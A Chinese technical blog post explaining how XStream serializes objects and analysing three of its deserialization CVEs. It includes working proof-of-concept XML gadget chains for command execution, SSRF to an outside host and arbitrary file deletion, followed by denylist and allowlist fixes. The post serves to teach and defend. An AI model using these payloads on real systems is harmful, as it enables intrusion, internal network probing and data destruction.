XStream反序列化漏洞原理分析

一、XStream简介

0x1:XStream介绍

Xstream是一种OXMapping 技术,是用来处理XML文件序列化的框架,在将JavaBean序列化,或将XML文件反序列化的时候,不需要其它辅助类和映射文件,使得XML序列化不再繁索。Xstream也可以将JavaBean序列化成Json或反序列化,使用非常方便。

  • 使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例
  • 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化
  • 性能 - XStream快速和低内存占用,适合于大对象图或系统
  • 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读
  • 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类,默认构造函数不是强制性的要求
  • 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用
  • 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册
  • 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题
  • 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题
  • 另一种输出格式 - XStream支持其它的输出格式,如JSON

0x2:XStream的基本使用

1、Xstream序列化XML 

Xstream序列化XML时可以允许用户使用不同的XML解析器,用户可以使用一个标准的JAXP DOM解析器或自Java6集成StAX解析器。这样用户就不需要依赖xpp3-[version].jar。

Xstream序列化XML时,也可以对XML节点重命名。

package org.example;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.xml.DomDriver;
import com.thoughtworks.xstream.io.xml.StaxDriver;

public class Main {
    public static void main(String[] args) {
        Person bean = new Person("张三",19);
        XStream xstream_1 = new XStream();//需要XPP3库
        XStream xstream_2 = new XStream(new DomDriver());//不需要XPP3库
        XStream xstream_3 = new XStream(new StaxDriver());//不需要XPP3库开始使用Java6
        xstream_3.alias("",Person.class);//为类名节点重命名
        //XML序列化
        String xml_1 = xstream_1.toXML(bean);
        String xml_2 = xstream_2.toXML(bean);
        String xml_3 = xstream_3.toXML(bean);
        System.out.println(xml_1);
        System.out.println(xml_2);
        System.out.println(xml_3);
        //XML反序列化
        bean = (Person)xstream_1.fromXML(xml_1);
        System.out.println(bean);
        bean = (Person)xstream_2.fromXML(xml_2);
        System.out.println(bean);
        bean = (Person)xstream_3.fromXML(xml_3);
        System.out.println(bean);
    }
}

2、Xstream序列化Json 

Xstream序列化Json与序列化XML类似,

package org.example;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.xml.DomDriver;
import com.thoughtworks.xstream.io.xml.StaxDriver;

public class Main {
    public static void main(String[] args) {
        Person bean = new Person("张三",19);
        XStream xstream = new XStream(new JettisonMappedXmlDriver());//设置Json解析器
        xstream.setMode(XStream.NO_REFERENCES);//设置reference模型,不引用
        xstream.alias("",Person.class);//为类名节点重命名
        //Json序列化
        String xml = xstream.toXML(bean);
        System.out.println(xml);
        //Json反序列化
        bean = (Person)xstream.fromXML(xml);
        System.out.println(bean);
    }
}

3、设置Xstream应用注解 

使用Xstream注解前需要对Xstream进行配置,可以使用两种方式:

  • 应用某个JavaBean类的注解
  • 自动使用JavaBean类的注解
Person.java
package org.example;

import com.thoughtworks.xstream.annotations.XStreamAlias;

import java.util.Arrays;
import java.util.List;

@XStreamAlias("")
class Person
{
    @XStreamAlias("姓名")
    private String name;
    @XStreamAlias("年龄")
    private int age;
    @XStreamAlias("朋友")
    private List friends;
    public Person(String name, int age, String... friends)
    {
        this.name = name;
        this.age = age;
        this.friends = Arrays.asList(Arrays.toString(friends));
    }
    @Override
    public String toString()
    {
        return "Person [name=" + name + ", age=" + age + ", friends=" + friends + "]";
    }
}
Main.java
package org.example;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.xml.DomDriver;
import com.thoughtworks.xstream.io.xml.StaxDriver;

public class Main {
    public static void main(String[] args) {
        Person bean = new Person("张三",19);
        XStream xstream = new XStream();
        xstream.processAnnotations(Person.class);//应用Person类的注解
        xstream.autodetectAnnotations(true);//自动检测注解

        //Json序列化
        String xml = xstream.toXML(bean);
        System.out.println(xml);
        //Json反序列化
        bean = (Person)xstream.fromXML(xml);
        System.out.println(bean);
    }
}

4、XStream自定义的转换器 

XStream内部有许多转换器,用于JavaBean对象到XML或Json之间的转换。这些转换器的详细信息网址:http://xstream.codehaus.org/converters.html

PersonConverter.java
package org.example;

import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;

public class PersonConverter implements Converter {
    @Override//定义转换器能转换的JavaBean类型
    public boolean canConvert(Class type)
    {
        return type.equals(Person.class);
    }
    @Override//把对象序列化成XML或Json
    public void marshal(Object value, HierarchicalStreamWriter writer,
                        MarshallingContext context)
    {
        Person person = (Person) value;
        writer.startNode("姓名");
        writer.setValue(person.getName());
        writer.endNode();
        writer.startNode("年龄");
        writer.setValue(person.getAge()+"");
        writer.endNode();
        writer.startNode("转换器");
        writer.setValue("自定义的转换器");
        writer.endNode();
    }

    @Override//把XML或Json反序列化成对象
    public Object unmarshal(HierarchicalStreamReader reader,
                            UnmarshallingContext context)
    {
        Person person = new Person("",-1);
        reader.moveDown();
        person.setName(reader.getValue());
        reader.moveUp();
        reader.moveDown();
        person.setAge(Integer.parseInt(reader.getValue()));
        reader.moveUp();
        return person;
    }
}
Person.java
package org.example;

class Person
{
    private String name;
    private int age;
    public Person(String name, int age)
    {
        this.name = name;
        this.age = age;
    }
    public String getName()
    {
        return name;
    }
    public void setName(String name)
    {
        this.name = name;
    }
    public int getAge()
    {
        return age;
    }
    public void setAge(int age)
    {
        this.age = age;
    }
    @Override
    public String toString()
    {
        return "Person [name=" + name + ", age=" + age + "]";
    }
}
Main.java
package org.example;

import com.thoughtworks.xstream.XStream;

public class Main {
    public static void main(String[] args) {
        Person bean = new Person("张三",19);
        XStream xstream = new XStream();
        xstream.registerConverter(new PersonConverter());//注册转换器
        //序列化
        String xml = xstream.toXML(bean);
        System.out.println(xml);
        //反序列化
        bean = (Person)xstream.fromXML(xml);
        System.out.println(bean);
    }
}

5、XStream对象流的使用 

Person.java
package org.example;

class Person
{
    private String name;
    private int age;
    public Person(String name, int age)
    {
        this.name = name;
        this.age = age;
    }
}
Main.java
package org.example;

import com.thoughtworks.xstream.XStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Main {
    public static void main(String[] args) throws IOException {
        XStream xstream = new XStream();
        ObjectOutputStream out = xstream.createObjectOutputStream(System.out);
        out.writeObject(new Person("张三",12));
        out.writeObject(new Person("李四",19));
        out.writeObject("Hello");
        out.writeInt(12345);
        out.close();
    }
}

6、XStream持久化 

Person.java
package org.example;

class Person
{
    private String name;
    private int age;
    public Person(String name, int age)
    {
        this.name = name;
        this.age = age;
    }
    @Override
    public String toString()
    {
        return "Person [name=" + name + ", age=" + age + "]";
    }
}
Main.java
package org.example;

import com.thoughtworks.xstream.persistence.FilePersistenceStrategy;
import com.thoughtworks.xstream.persistence.PersistenceStrategy;
import com.thoughtworks.xstream.persistence.XmlArrayList;

import java.io.File;
import java.io.IOException;
import java.util.List;

public class Main {
    public static void main(String[] args) {
        PersistenceStrategy strategy = new FilePersistenceStrategy(new File("./target"));
        List list = new XmlArrayList(strategy);
        list.add(new Person("张三",13));//保存数据
        list.add(new Person("李四",21));
        list.add(new Person("王五",17));
    }
}

有三个文件:int@0.xml、int@1.xml、int@2.xml;每个对象都被序列化到XML文件里。

0x3:XStream开发实例 

下面是一个XStream开发实例,

poc.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>XStream_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.9</version>
        </dependency>
        <dependency>
            <groupId>org.codehaus.jettison</groupId>
            <artifactId>jettison</artifactId>
            <version>1.3.7</version>
        </dependency>
    </dependencies>
</project>

创建源对象(就是需要被转换成XML的对象),Person.java

package org.example;
class Person//JavaBean实体类
{
    private String name;
    private int age;

    public Person(String name,int age)
    {
        this.name=name;
        this.age=age;
    }
    @Override
    public String toString()
    {
        return "Person [name=" + name + ", age=" + age + "]";
    }
}

实现Java对象与XML的互转的主程序,

package org.example;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;

public class Main {
    public static void main(String[] args) {
        Person bean=new Person("张三",19);
        XStream xstream = new XStream();
        //XML序列化
        String xml = xstream.toXML(bean);
        System.out.println(xml);
        //XML反序列化
        bean=(Person)xstream.fromXML(xml);
        System.out.println(bean);

        System.out.println("==============================");

        xstream = new XStream(new JettisonMappedXmlDriver());
        xstream.setMode(XStream.NO_REFERENCES);
        //Json序列化
        String json=xstream.toXML(bean);
        System.out.println(json);
        //Json反序列
        bean=(Person)xstream.fromXML(json);
        System.out.println(bean);
    }
}

使用Xstream序列化时,对JavaBean没有任何限制。JavaBean的字段可以是私有的,也可以没有getter或setter方法,还可以没有默认的构造函数。

参考链接:

https://blog.csdn.net/qq_26718271/article/details/68941373
https://www.cnblogs.com/LiZhiW/p/4313493.html 

 

二、XStream序列化机制源码分析

不论是xml形式还是json形式还是Java原生序列化,本质都是将对象以字节码形式抽象出来,各种形式的序列化最终都是序列化类信息和该对象的属性域信息

School.java
package org.example;

public class School {
    private String name;
    private int classNum;

    public School(String name, int classNum) {
        this.name = name;
        this.classNum = classNum;
    }
}

Student.java

package org.example;

import java.io.IOException;
import java.io.Serializable;

public class Student implements Serializable {
    private String name;
    private int age;
    private School school;

    public Student(String name, int age, School school) {
        this.name = name;
        this.age = age;
        this.school = school;
    }

    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("XML反序列化");
    }
}
Main.java
package org.example;

import com.thoughtworks.xstream.XStream;

public class Main {
    public static void main(String[] args) {
        XStream xStream = new XStream();
        Student people = new Student("xiaoming", 25, new School("北京大学",500));
        String xml = xStream.toXML(people);
        System.out.println(xml);
        Student object = (Student) xStream.fromXML(xml);
    }
}

0x1:对象转xml字符串过程分析

XStream.toXML方法如下,整个过程主要调用marshal处理,marshal主要用于编组对象图,

xStream.marshal()最终会调用到AbstractTreeMarshallingStrategy.marshal(), 

TreeMarshaller.start如下,

TreeMarshaller.convertAnother调用DefaultConverterLookup.lookupConverterForType找查找转换器,

通过DefaultConverterLookup.lookupConverterForType找到类对应的转换器,然后调用TreeMarshaller.convert进行转换。

(AbstractReferenceMarshaller)TreeMarshaller.convert逻辑是调用对应转换器的doMarshal方法,如实现了Serializable的对象转换器是SerializableConverter,调用的是SerializableConverter.doMarshal。 

SerializableConverter.doMarshal中核心是defaultWriteObject方法,该方法主要实现序列化所有属性域信息,和上面所述一样,按照属性的类对应的转换器来调用转换器的doMarshal方法,以此逻辑将所有属性信息序列化。比如本例中School对应的转换器是ReflectionConverter。

除了默认的序列化方法,在SerializableConverter.doMarshal中支持重写方法writeObject的调用,所以当类实现了Serializable并且重写了writeObject,则会调用重写的writeObject。

一般在重写的writeObject方法中还是会调用SerializableConverter.defaultWriteObject方法来进行属性的序列化。 

0x2:xml字符串转对象过程分析

反序列化fromXML类似。 

参考链接:

https://r17a-17.github.io/2021/08/26/XStream%E5%BA%8F%E5%88%97%E5%8C%96%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/ 

 

三、XStream反序列化漏洞实例

通过上面分析我们知道,XStream可以实现任意Java XML对象的实例化,所以和反序列化漏洞类似,只要我们能找到一个”Java Gadget Chain“实现函数调用和参数传入,就可以利用XStream的XML反序列化函数,实现XML反序列化代码执行攻击。

但是需要注意的是,XStream反序列化的漏洞攻击面,相比原生Java反序列化的攻击面是要小的,XStream的”Java Gadget Chain“只能通过fromXML这个口子寻找。

0x1:CVE-2020-26217

首先引入满足漏洞条件的xstream包,小于1.4.13即可,

<dependency>
     <groupId>com.thoughtworks.xstream</groupId>
     <artifactId>xstream</artifactId>
     <version>1.4.11</version>
 </dependency>

CVE_2020_26217.java

package org.example;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;

import java.io.IOException;

public class CVE_2020_26217 {
    public static void main(String[] args) throws IOException {
        String pocXml = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='java.io.SequenceInputStream'>\n" +
                "              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +
                "                <iterator class='javax.imageio.spi.FilterIterator'>\n" +
                "                  <iter class='java.util.ArrayList$Itr'>\n" +
                "                    <cursor>0</cursor>\n" +
                "                    <lastRet>-1</lastRet>\n" +
                "                    <expectedModCount>1</expectedModCount>\n" +
                "                    <outer-class>\n" +
                "                      <java.lang.ProcessBuilder>\n" +
                "                        <command>\n" +
                "                          <string>whoami</string>\n" +
                "                        </command>\n" +
                "                      </java.lang.ProcessBuilder>\n" +
                "                    </outer-class>\n" +
                "                  </iter>\n" +
                "                  <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +
                "                    <method>\n" +
                "                      <class>java.lang.ProcessBuilder</class>\n" +
                "                      <name>start</name>\n" +
                "                      <parameter-types/>\n" +
                "                    </method>\n" +
                "                    <name>start</name>\n" +
                "                  </filter>\n" +
                "                  <next/>\n" +
                "                </iterator>\n" +
                "                <type>KEYS</type>\n" +
                "              </e>\n" +
                "              <in class='java.io.ByteArrayInputStream'>\n" +
                "                <buf></buf>\n" +
                "                <pos>0</pos>\n" +
                "                <mark>0</mark>\n" +
                "                <count>0</count>\n" +
                "              </in>\n" +
                "            </is>\n" +
                "            <consumed>false</consumed>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        XStream xstream = new XStream(new StaxDriver());
        xstream.fromXML(pocXml);
    }
}

0x2:CVE-2020-26258

package org.example;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;

import java.io.IOException;

public class CVE_2020_26217 {
    public static void main(String[] args) throws IOException {
        String pocXml = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='javax.activation.URLDataSource'>\n" +
                "            <url>http://718acc2896.ipv6.1433.eu.org/:</url>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        XStream xstream = new XStream(new StaxDriver());
        xstream.fromXML(pocXml);
    }
}

0x3:CVE-2020-26259

这是一个任意文件删除漏洞,xstream版本需要小于1.4.14

首先在某个目录下创建一个test.txt,poc代码如下:

package org.example;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;

import java.io.IOException;

public class Poc {
    public static void main(String[] args) throws IOException {
        String pocXml = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
                "              <tempFile>/Users/zhenghan/Projects/XStream_test/target/test.txt</tempFile>\n" +
                "            </is>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        XStream xstream = new XStream(new StaxDriver());
        xstream.fromXML(pocXml);
    }
}

调试跟踪一下源码,

首先进入com.thoughtworks.xstream.XStream#fromXML(java.io.Reader)函数,

接着进入com.thoughtworks.xstream.XStream#unmarshal(com.thoughtworks.xstream.io.HierarchicalStreamReader, java.lang.Object, com.thoughtworks.xstream.converters.DataHolder)函数。 

跟进到com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap函数,在 Xstream 构建 entry 的过程中,将本次的 key 值NativeString,put 到 map 中:

进入put函数中,发现key值会被传进hash函数,继续跟进,

发现key值就调用hashCode()函数,如果恶意类在hashCode中有恶意操作,就可能导致恶意指令执行。

在本例中,我们注入的类是NativeString就是这个类,

我们进入jdk.nashorn.internal.objects.NativeString#hashCode函数,发现它调用了getStringValue函数,而getStringValue函数里面的value又调用了toString函数,这里的value就是Base64Data类。

跟进toString函数,发现调用了get函数,继续跟进get函数,

发现CVE-2020-26258和CVE-2020-26259这的触发点,CVE-2020-26217 利用的是readFrom 及其后续,不过因为 Xstream 黑名单限制了进行远程代码执行。

而CVE-2020-26258和CVE-2020-26259利用 getInputStream 函数与 close 函数分别进行 ssrf 和文件删除。

下面是getInputStream 函数导致SSRF漏洞的触发点,

下面是close函数导致文件删除的触发点,

 

四、漏洞修复

0x1:黑名单方式

XStream xstream = new XStream();
// 首先清除默认设置,然后进行自定义设置
xstream.addPermission(NoTypePermission.NONE);
//将ImageIO类加入黑名单
xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class}));
xstream.fromXML(xml);

0x2:白名单方式

XStream xstream = new XStream();
// 首先清除默认设置,然后进行自定义设置
xstream.addPermission(NoTypePermission.NONE);
// 添加一些基础的类型,如Array、NULL、primitive
xstream.addPermission(ArrayTypePermission.ARRAYS);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
// 添加自定义的类列表
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));

参考链接:

https://blog.csdn.net/qq_34101364/article/details/114858734

 

 

 
posted @ 2023-11-04 20:22  郑瀚Andrew  阅读(9556)  评论(0编辑  收藏  举报